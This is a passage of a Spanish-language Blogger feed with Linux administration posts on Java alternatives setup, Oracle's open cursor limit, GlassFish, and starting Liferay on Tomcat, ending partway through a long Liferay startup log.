<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1249668162136945041</id><updated>2012-02-06T17:55:09.238-03:00</updated><title type='text'>..........bee free  ...use linux</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>63</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5302231599464849347</id><published>2011-11-30T09:48:00.000-03:00</published><updated>2011-11-30T09:49:46.089-03:00</updated><title type='text'>Java alternatives</title><content type='html'>&lt;ul&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; Instalar RPM de &lt;em&gt;jre&lt;/em&gt; o &lt;em&gt;jdk&lt;/em&gt;.&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; Crear el archivo /etc/profile.d/&lt;span class="search_hit"&gt;java&lt;/span&gt;.sh&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt; &lt;pre class="code"&gt; export PATH=/usr/&lt;span class="search_hit"&gt;java&lt;/span&gt;/jdk1.5.0_06/bin:$PATH&lt;br /&gt;JAVA_HOME="/usr/&lt;span class="search_hit"&gt;java&lt;/span&gt;/jdk1.5.0_06/"&lt;br /&gt;export JAVA_HOME&lt;/pre&gt; &lt;ul&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; Darle permisos de ejecución&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt; &lt;pre class="code"&gt; # chmod 755 /etc/profile.d/&lt;span class="search_hit"&gt;java&lt;/span&gt;.sh&lt;/pre&gt; &lt;ul&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt; Configurar &lt;em&gt;&lt;strong&gt;&lt;span class="search_hit"&gt;alternatives&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/div&gt; &lt;/li&gt;&lt;/ul&gt; &lt;pre class="code"&gt;# &lt;span class="search_hit"&gt;alternatives&lt;/span&gt; --install /usr/bin/&lt;span class="search_hit"&gt;java&lt;/span&gt; &lt;span class="search_hit"&gt;java&lt;/span&gt; /usr/&lt;span class="search_hit"&gt;java&lt;/span&gt;/jdk1.5.0_06/bin/&lt;span class="search_hit"&gt;java&lt;/span&gt; 2&lt;br /&gt;# echo -ne "2\n" | &lt;span class="search_hit"&gt;alternatives&lt;/span&gt; --config &lt;span class="search_hit"&gt;java&lt;br /&gt;&lt;br /&gt;y luego el comando java -version debe listar la jdk seleccionada con : alternatives&lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5302231599464849347?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5302231599464849347/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5302231599464849347' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5302231599464849347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5302231599464849347'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/11/java-alternatives.html' title='Java alternatives'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5730429761698853952</id><published>2011-06-03T15:17:00.001-04:00</published><updated>2011-06-03T15:17:54.603-04:00</updated><title type='text'>Cursores de Oracle</title><content type='html'>Cuando Oracle nos envia este mensaje:&lt;br /&gt;&lt;br /&gt;ORA-01000 número máximo de cursores abiertos excedido, debemos ejecutar las sigtes acciones.&lt;br /&gt;&lt;br /&gt;Saber el número maximo de cursores de un oracle debes ejecutar la siguiente query como admin de la base de datos (sys), por defecto es 200.&lt;br /&gt;&lt;br /&gt;Select value from v$parameter Where name='open_cursors'&lt;br /&gt;&lt;br /&gt;para modificar este valor a 1000 por ej, debes ejecutar la sigte query, tb como sys&lt;br /&gt;&lt;br /&gt;Alter system set open_cursors = 1000;&lt;br /&gt;&lt;br /&gt;Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5730429761698853952?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5730429761698853952/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5730429761698853952' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5730429761698853952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5730429761698853952'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/06/cursores-de-oracle.html' title='Cursores de Oracle'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-4872793903566672402</id><published>2011-04-28T11:13:00.002-03:00</published><updated>2011-04-28T11:25:02.723-03:00</updated><title type='text'>Sun Java System Applicaciton Server (Glassfish)</title><content type='html'>&lt;div id="intelliTXT"&gt;          &lt;div id="desc_body" class="description"&gt;                &lt;p&gt;GlassFish es un servidor de aplicaciones escrito en Java EE. Usa  código de Sun Java Application Server y ahora de la arquitectura TopLink de  Oracle. Es una excelente alternativa open source frente a Apache Tomcat, Geronimo o  JBoss, weblogic, oracle, etc.&lt;/p&gt;&lt;p&gt;En Glassfish puedes contener aplicaciones J2EE, Web Services o BPEL, lo que permite implementar arquitecturas orientadas a servicios (SOA) fácilmente.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Entre las características más notables de GlassFish cabe destacar su  velocidad, alta escalabilidad, manejo centralizado de clusters e  instancias, bajo consumo de memoria, interoperabilidad con .NET 3 y una  excelente consola de administración web o desde su ide integrado Netbeans.&lt;/p&gt; &lt;p&gt;Glassfish desarrollado por Sun y la comunidad es open source. La instalación de GlassFish en Linux y Windows es similar ya que es multiplataforma, y en la red hay abundante documentación disponible para resolver cualquier  posible incidencia.&lt;/p&gt;&lt;p&gt;Por eso Netbans itś all you need&lt;/p&gt;&lt;p&gt;Aqui esta el link : http://glassfish.java.net/downloads&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Saludos !!&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;               &lt;/div&gt;         &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-4872793903566672402?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/4872793903566672402/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=4872793903566672402' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4872793903566672402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4872793903566672402'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/04/sun-java-system-applicaciton-server.html' title='Sun Java System Applicaciton Server (Glassfish)'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-1987687147366446248</id><published>2011-03-28T13:39:00.004-03:00</published><updated>2011-03-29T19:05:44.628-03:00</updated><title type='text'>Liferay en Linux</title><content type='html'>Hola, liferay es un portal Open Source escrito en J2EE, implementa una arquitectura de capas y persistencia con hibernate, es simple de configurar descargando en paquete Boundle GA con tomcat 6 , ya que solo debes iniciar este tomcat para arrancar el war de liferay.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;paso 1:&lt;/span&gt;&lt;br /&gt;slack@zion:~/programas/liferay-portal-6.0.6/tomcat-6.0.29/bin$ ./startup.sh&lt;br /&gt;Using CATALINA_BASE:   /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29&lt;br /&gt;Using CATALINA_HOME:   /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29&lt;br /&gt;Using CATALINA_TMPDIR: /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/temp&lt;br /&gt;Using JRE_HOME:        /home/slack/programas/java/jdk1.6.0_20&lt;br /&gt;Using CLASSPATH:       /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/bin/bootstrap.jar&lt;br /&gt;slack@zion:~/programas/liferay-portal-6.0.6/tomcat-6.0.29/bin$ cd ..&lt;br /&gt;slack@zion:~/programas/liferay-portal-6.0.6/tomcat-6.0.29$ cd logs/&lt;br /&gt;slack@zion:~/programas/liferay-portal-6.0.6/tomcat-6.0.29/logs$ tail -f catalina.out&lt;br /&gt;28-mar-2011 16:33:42 org.apache.catalina.startup.Catalina load&lt;br /&gt;INFO: Initialization processed in 1099 ms&lt;br /&gt;28-mar-2011 16:33:42 org.apache.catalina.core.StandardService start&lt;br /&gt;INFO: Arrancando servicio Catalina&lt;br /&gt;28-mar-2011 16:33:42 org.apache.catalina.core.StandardEngine start&lt;br /&gt;INFO: Starting Servlet Engine: Apache Tomcat/6.0.29&lt;br /&gt;28-mar-2011 16:33:42 org.apache.catalina.startup.HostConfig deployDescriptor&lt;br /&gt;INFO: Desplieque del descriptor de configuración ROOT.xml&lt;br /&gt;Loading jar:file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/system.properties&lt;br /&gt;Loading jar:file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/portal.properties&lt;br /&gt;16:33:53,945 INFO  [DialectDetector:69] Determining dialect for HSQL Database Engine 1&lt;br /&gt;16:33:53,948 WARN  [DialectDetector:84] Liferay is configured to use Hypersonic as its database. Do NOT use Hypersonic in production. Hypersonic is an embedded database useful for development and demo'ing purposes. The database settings can be changed in portal.properties.&lt;br /&gt;16:33:54,034 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.HSQLDialect&lt;br /&gt;16:33:57,635 INFO  [PortalImpl:278] Global lib directory /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/lib/ext/&lt;br /&gt;16:33:57,637 INFO  [PortalImpl:298] Portal lib directory /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/ROOT/WEB-INF/lib/&lt;br /&gt;Starting Liferay Portal Community Edition 6.0.6 CE (Bunyan / Build 6006 / February 17, 2011)&lt;br /&gt;16:34:10,964 INFO  [BaseDB:400] Database supports case sensitive queries&lt;br /&gt;16:34:11,325 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyProcessSuite&lt;br /&gt;16:34:11,326 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyProperties&lt;br /&gt;16:34:11,327 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyMySQL&lt;br /&gt;16:34:11,327 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyCounter&lt;br /&gt;16:34:11,349 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyUUID&lt;br /&gt;16:34:11,374 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyRole&lt;br /&gt;16:34:11,527 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyBlogs&lt;br /&gt;16:34:11,534 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyBookmarks&lt;br /&gt;16:34:11,539 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyCalendar&lt;br /&gt;16:34:11,545 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyDocumentLibrary&lt;br /&gt;16:34:11,549 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyGroup&lt;br /&gt;16:34:11,792 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyImageGallery&lt;br /&gt;16:34:11,795 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyJournal&lt;br /&gt;16:34:11,804 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyLayout&lt;br /&gt;16:34:11,807 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyMessageBoards&lt;br /&gt;16:34:11,821 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyOrganization&lt;br /&gt;16:34:11,848 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifySocial&lt;br /&gt;16:34:11,849 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyUser&lt;br /&gt;16:34:11,937 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyWiki&lt;br /&gt;16:34:15,261 INFO  [PluginPackageUtil:1109] Reloading repositories&lt;br /&gt;16:34:19,194 INFO  [HotDeployUtil:69] Initializing hot deploy manager 1804119&lt;br /&gt;16:34:19,296 INFO  [AutoDeployDir:105] Auto deploy scanner started for /home/slack/programas/liferay-portal-6.0.6/deploy&lt;br /&gt;28-mar-2011 16:34:22 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio default-site-templates-hook de la aplicación web&lt;br /&gt;16:34:22,489 INFO  [HookHotDeployListener:394] Registering hook for default-site-templates-hook&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/default-site-templates-hook/WEB-INF/classes/portal.properties&lt;br /&gt;16:34:23,762 INFO  [HookHotDeployListener:649] Hook for default-site-templates-hook is available for use&lt;br /&gt;28-mar-2011 16:34:23 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio sevencogs-mobile-theme de la aplicación web&lt;br /&gt;16:34:24,198 INFO  [ThemeHotDeployListener:78] Registering themes for sevencogs-mobile-theme&lt;br /&gt;16:34:24,228 INFO  [ThemeHotDeployListener:89] 1 theme for sevencogs-mobile-theme is available for use&lt;br /&gt;28-mar-2011 16:34:24 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio sevencogs-theme de la aplicación web&lt;br /&gt;16:34:24,719 INFO  [ThemeHotDeployListener:78] Registering themes for sevencogs-theme&lt;br /&gt;16:34:26,505 INFO  [ThemeHotDeployListener:89] 1 theme for sevencogs-theme is available for use&lt;br /&gt;28-mar-2011 16:34:26 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio web-form-portlet de la aplicación web&lt;br /&gt;16:34:27,147 INFO  [PortletHotDeployListener:220] Registering portlets for web-form-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/web-form-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;16:34:27,362 INFO  [PortletHotDeployListener:369] 1 portlet for web-form-portlet is available for use&lt;br /&gt;28-mar-2011 16:34:27 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio opensocial-portlet de la aplicación web&lt;br /&gt;16:34:30,632 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:34:30,976 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;16:34:31,031 INFO  [ServiceComponentLocalServiceImpl:187] Running OpenSocial SQL scripts&lt;br /&gt;16:34:34,569 INFO  [PortletHotDeployListener:220] Registering portlets for opensocial-portlet&lt;br /&gt;16:34:34,572 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;16:34:34,583 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;16:34:34,596 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;16:34:34,757 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;16:34:34,829 INFO  [PortletHotDeployListener:374] 2 portlets for opensocial-portlet are available for use&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:34:35,271 INFO  [DialectDetector:69] Determining dialect for HSQL Database Engine 1&lt;br /&gt;16:34:35,272 WARN  [DialectDetector:84] Liferay is configured to use Hypersonic as its database. Do NOT use Hypersonic in production. Hypersonic is an embedded database useful for development and demo'ing purposes. The database settings can be changed in portal.properties.&lt;br /&gt;16:34:35,273 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.HSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/service.properties&lt;br /&gt;28-mar-2011 16:34:49 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio mail-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:34:50,628 INFO  [DialectDetector:69] Determining dialect for HSQL Database Engine 1&lt;br /&gt;16:34:50,629 WARN  [DialectDetector:84] Liferay is configured to use Hypersonic as its database. Do NOT use Hypersonic in production. Hypersonic is an embedded database useful for development and demo'ing purposes. The database settings can be changed in portal.properties.&lt;br /&gt;16:34:50,630 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.HSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:34:51,426 INFO  [ServiceComponentLocalServiceImpl:187] Running Mail SQL scripts&lt;br /&gt;16:34:52,626 INFO  [HookHotDeployListener:394] Registering hook for mail-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/portal.properties&lt;br /&gt;16:34:52,767 INFO  [HookHotDeployListener:649] Hook for mail-portlet is available for use&lt;br /&gt;16:34:52,969 INFO  [PortletHotDeployListener:220] Registering portlets for mail-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;16:34:53,386 INFO  [PortletHotDeployListener:374] 2 portlets for mail-portlet are available for use&lt;br /&gt;28-mar-2011 16:34:53 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio chat-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:34:54,103 INFO  [DialectDetector:69] Determining dialect for HSQL Database Engine 1&lt;br /&gt;16:34:54,104 WARN  [DialectDetector:84] Liferay is configured to use Hypersonic as its database. Do NOT use Hypersonic in production. Hypersonic is an embedded database useful for development and demo'ing purposes. The database settings can be changed in portal.properties.&lt;br /&gt;16:34:54,105 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.HSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:34:54,404 INFO  [ServiceComponentLocalServiceImpl:187] Running Chat SQL scripts&lt;br /&gt;16:34:54,514 INFO  [PortletHotDeployListener:220] Registering portlets for chat-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;16:34:54,650 INFO  [PortletHotDeployListener:369] 1 portlet for chat-portlet is available for use&lt;br /&gt;28-mar-2011 16:34:54 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio tunnel-web de la aplicación web&lt;br /&gt;28-mar-2011 16:34:57 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio sevencogs-hook de la aplicación web&lt;br /&gt;16:34:57,320 INFO  [HotDeployEvent:95] Plugin sevencogs-hook requires google-maps-portlet, kaleo-web, mail-portlet, sevencogs-mobile-theme, sevencogs-theme, social-networking-portlet, web-form-portlet&lt;br /&gt;16:34:57,320 INFO  [HotDeployUtil:137] Queueing sevencogs-hook for deploy because it is missing google-maps-portlet, kaleo-web, social-networking-portlet&lt;br /&gt;28-mar-2011 16:34:57 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio kaleo-web de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/service.properties&lt;br /&gt;16:34:58,039 INFO  [DialectDetector:69] Determining dialect for HSQL Database Engine 1&lt;br /&gt;16:34:58,041 WARN  [DialectDetector:84] Liferay is configured to use Hypersonic as its database. Do NOT use Hypersonic in production. Hypersonic is an embedded database useful for development and demo'ing purposes. The database settings can be changed in portal.properties.&lt;br /&gt;16:34:58,043 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.HSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/service.properties&lt;br /&gt;16:34:59,796 INFO  [ServiceComponentLocalServiceImpl:187] Running Kaleo SQL scripts&lt;br /&gt;16:34:59,908 INFO  [HookHotDeployListener:394] Registering hook for kaleo-web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/portal.properties&lt;br /&gt;16:34:59,984 INFO  [HookHotDeployListener:649] Hook for kaleo-web is available for use&lt;br /&gt;16:34:59,985 INFO  [HotDeployUtil:153] sevencogs-hook is still in queue because it is missing google-maps-portlet, social-networking-portlet&lt;br /&gt;28-mar-2011 16:34:59 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio google-maps-portlet de la aplicación web&lt;br /&gt;16:35:00,423 INFO  [PortletHotDeployListener:220] Registering portlets for google-maps-portlet&lt;br /&gt;16:35:00,498 INFO  [PortletHotDeployListener:369] 1 portlet for google-maps-portlet is available for use&lt;br /&gt;16:35:00,499 INFO  [HotDeployUtil:153] sevencogs-hook is still in queue because it is missing social-networking-portlet&lt;br /&gt;28-mar-2011 16:35:00 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio wsrp-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/wsrp-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:35:00,935 INFO  [ServiceComponentLocalServiceImpl:187] Running WSRP SQL scripts&lt;br /&gt;16:35:01,235 INFO  [PortletHotDeployListener:220] Registering portlets for wsrp-portlet&lt;br /&gt;16:35:01,355 INFO  [PortletHotDeployListener:374] 2 portlets for wsrp-portlet are available for use&lt;br /&gt;16:35:01,356 INFO  [HotDeployUtil:153] sevencogs-hook is still in queue because it is missing social-networking-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/wsrp-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:35:01,511 INFO  [DialectDetector:69] Determining dialect for HSQL Database Engine 1&lt;br /&gt;16:35:01,512 WARN  [DialectDetector:84] Liferay is configured to use Hypersonic as its database. Do NOT use Hypersonic in production. Hypersonic is an embedded database useful for development and demo'ing purposes. The database settings can be changed in portal.properties.&lt;br /&gt;16:35:01,513 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.HSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/wsrp-portlet/WEB-INF/classes/service.properties&lt;br /&gt;28-mar-2011 16:35:02 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio social-networking-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:35:03,164 INFO  [DialectDetector:69] Determining dialect for HSQL Database Engine 1&lt;br /&gt;16:35:03,165 WARN  [DialectDetector:84] Liferay is configured to use Hypersonic as its database. Do NOT use Hypersonic in production. Hypersonic is an embedded database useful for development and demo'ing purposes. The database settings can be changed in portal.properties.&lt;br /&gt;16:35:03,166 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.HSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/service.properties&lt;br /&gt;16:35:03,369 INFO  [ServiceComponentLocalServiceImpl:187] Running SN SQL scripts&lt;br /&gt;16:35:03,562 INFO  [HookHotDeployListener:394] Registering hook for social-networking-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/portal.properties&lt;br /&gt;16:35:03,755 INFO  [HookHotDeployListener:649] Hook for social-networking-portlet is available for use&lt;br /&gt;16:35:03,786 INFO  [PortletHotDeployListener:220] Registering portlets for social-networking-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;16:35:04,085 INFO  [PortletHotDeployListener:374] 8 portlets for social-networking-portlet are available for use&lt;br /&gt;16:35:04,085 INFO  [HotDeployUtil:101] Deploying sevencogs-hook from queue&lt;br /&gt;16:35:04,295 INFO  [HookHotDeployListener:394] Registering hook for sevencogs-hook&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/sevencogs-hook/WEB-INF/classes/portal.properties&lt;br /&gt;16:35:04,334 INFO  [UpgradeProcess:108] Upgrading com.liferay.sevencogs.hook.upgrade.UpgradeProcess_1_0_0&lt;br /&gt;16:35:04,346 INFO  